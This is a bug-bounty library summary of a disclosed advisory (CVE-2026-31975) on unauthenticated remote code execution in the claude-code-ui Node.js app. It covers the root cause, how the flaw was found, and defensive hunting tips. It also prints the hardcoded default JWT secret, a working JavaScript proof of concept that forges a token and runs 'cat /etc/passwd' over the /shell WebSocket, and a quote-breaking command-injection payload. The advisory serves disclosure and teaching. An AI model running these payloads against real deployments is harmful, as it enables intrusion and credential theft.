# @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

Default JWT secret plus WebSocket auth that skips DB user lookup lets an unauthenticated attacker forge a token and inject shell commands via initialCommand, achieving RCE.

- Payout: Research
- Severity: high
- Program: Anthropic
- Found by: Ethan-Yang-opcia, DhiyaneshGeek, neo-ai-engineer
- Disclosed: 2026-03-11
- CVE: CVE-2026-31975
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gv8f-wpm2-m5wr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gv8f-wpm2-m5wr
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:jwt tech:nodejs tech:websocket technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Node.js web app WebSocket /shell handler and JWT auth middleware
**Root cause:** JWT_SECRET falls back to a hardcoded public default absent from .env.example, and authenticateWebSocket() verifies only the signature without checking userId against the DB. The /shell handler then interpolates attacker-controlled projectPath and initialCommand into a bash -c string.
**Steps:**
1. Sign a JWT with the public default secret: `jwt.sign({userId:1337,username:'attacker'},'claude-ui-dev-secret-change-in-production')`
2. Connect to `ws://TARGET:3001/shell?token=<token>` — signature check passes, no DB user validation
3. Send `{"type":"init","projectPath":"/tmp","initialCommand":"id && cat /etc/passwd","isPlainShell":true,"hasSession":false}`
4. Read `output` messages to retrieve command results
5. Alt vector: set `projectPath` to `" && id && echo "pwned" # ` to break out of the cd quotes
**How found:** Code review of auth middleware: noticed JWT_SECRET fallback string and that JWT_SECRET was absent from .env.example, then compared authenticateWebSocket() (signature-only) against authenticateToken() (DB lookup) and traced the WS message fields into the pty.spawn bash string.
**Exploitation:** No credentials needed: forge a token with the published default secret, open the /shell WebSocket, and supply initialCommand or a quote-escaping projectPath; the server runs `cd "${projectPath}" && ${initialCommand}` in bash as the app user, returning stdout over the socket for full command execution, file read/write and credential theft.
**Escalation:** Chained three weaknesses: insecure default secret (CWE-1188) enables token forgery, missing DB check in WS auth (CWE-287) accepts the forged userId, and shell interpolation (CWE-78) converts it to RCE. Secondary vectors: unauthenticated /api/auth/register for admin takeover, wildcard CORS, non-expiring tokens.
**Insight:** Diff parallel auth paths in the same codebase — REST vs WebSocket handlers often diverge, and the weaker one usually skips the DB existence check. Also grep for `process.env.X || 'default'` fallbacks and check whether X appears in .env.example; if not, the default is the deployed reality.

## Proof of concept (copied exactly from the original report)

**Forged JWT + WebSocket shell injection PoC**

```
import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});
```

**projectPath double-quote escape injection payload**

```
ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned
```

